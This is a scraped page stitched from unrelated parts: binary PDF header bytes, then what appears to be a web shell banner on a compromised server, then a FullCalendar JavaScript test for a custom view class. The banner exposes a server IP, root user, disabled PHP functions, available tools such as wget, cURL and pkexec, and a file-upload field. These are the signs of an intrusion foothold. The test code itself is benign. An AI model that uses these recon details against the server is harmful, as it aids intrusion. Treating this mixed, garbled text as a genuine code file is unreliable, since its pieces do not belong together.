%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.146 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/ |
Upload File : |
import { View, createPlugin } from '@fullcalendar/core' describe('custom view class', function() { it('calls all standard methods with correct parameters', function() { class CustomView extends View { renderDates(dateProfile) { expect(dateProfile.activeRange.start instanceof Date).toBe(true) expect(dateProfile.activeRange.end instanceof Date).toBe(true) } updateSize(isResize, height, isAuto) { expect(typeof isResize).toBe('boolean') expect(typeof height).toBe('number') expect(typeof isAuto).toBe('boolean') } renderEvents(eventStore) { let eventRanges = this.sliceEvents(eventStore, true) // allDay=true expect(Array.isArray(eventRanges)).toBe(true) expect(eventRanges.length).toBe(1) expect(typeof eventRanges[0].def).toBe('object') expect(typeof eventRanges[0].ui).toBe('object') expect(typeof eventRanges[0].instance).toBe('object') expect(eventRanges[0].isStart).toBe(true) expect(eventRanges[0].isEnd).toBe(true) expect(eventRanges[0].range.start instanceof Date).toBe(true) expect(eventRanges[0].range.end instanceof Date).toBe(true) } unrenderEvents() { } renderDateSelection(dateSpan) { expect(typeof dateSpan).toBe('object') expect(dateSpan.allDay).toBe(true) expect(dateSpan.range.start instanceof Date).toBe(true) expect(dateSpan.range.end instanceof Date).toBe(true) } unrenderDateSelection() { } } spyOn(CustomView.prototype, 'initialize').and.callThrough() spyOn(CustomView.prototype, 'renderDates').and.callThrough() spyOn(CustomView.prototype, 'updateSize').and.callThrough() spyOn(CustomView.prototype, 'renderEvents').and.callThrough() spyOn(CustomView.prototype, 'unrenderEvents').and.callThrough() spyOn(CustomView.prototype, 'renderDateSelection').and.callThrough() spyOn(CustomView.prototype, 'unrenderDateSelection').and.callThrough() initCalendar({ plugins: [ createPlugin({ views: { custom: CustomView } }) ], defaultView: 'custom', defaultDate: '2014-12-25', // will end up being a single-day view events: [ { title: 'Holidays', start: '2014-12-25T09:00:00', end: '2014-12-25T11:00:00' } ] }) expect(CustomView.prototype.initialize).toHaveBeenCalled() expect(CustomView.prototype.renderDates).toHaveBeenCalled() expect(CustomView.prototype.updateSize).toHaveBeenCalled() expect(CustomView.prototype.renderEvents).toHaveBeenCalled() currentCalendar.rerenderEvents() expect(CustomView.prototype.unrenderEvents).toHaveBeenCalled() currentCalendar.select('2014-12-25', '2014-01-01') expect(CustomView.prototype.renderDateSelection).toHaveBeenCalled() currentCalendar.unselect() expect(CustomView.prototype.unrenderDateSelection).toHaveBeenCalled() }) })